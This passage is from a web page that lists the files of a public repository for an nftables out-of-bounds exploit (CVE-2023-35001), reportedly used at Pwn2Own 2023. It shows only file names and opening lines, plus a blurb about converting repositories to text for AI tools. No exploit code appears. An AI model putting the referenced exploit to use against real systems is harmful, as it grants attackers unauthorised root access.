"preview": "# nftables oob read/write exploit (CVE-2023-35001)\n\nExploit used at pwn2own Vancouver 2023 on Ubuntu desktop. The exploi"
},
{
"path": "go.mod",
"chars": 385,
"preview": "module exploit\n\ngo 1.15\n\nrequire (\n\tgithub.com/florianl/go-nflog v1.1.0 // indirect\n\tgithub.com/florianl/go-nflog/v2 v2."
},
{
"path": "go.sum",
"chars": 14299,
"preview": "github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/BurntSushi/toml v0.4"
},
{
"path": "main.go",
"chars": 35311,
"preview": "package main\n\nimport (\n\t\"C\"\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/google/nftables\"\n\t\"golang.or"
},
{
"path": "src/wrapper.c",
"chars": 1397,
"preview": "#include <err.h>\n#include <sched.h>\n#include <stdio.h>\n#include <string.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n"
}
]
About this extraction
This page contains the full source code of the synacktiv/CVE-2023-35001 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 6 files (51.2 KB), approximately 20.6k tokens, and a symbol index with 14 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.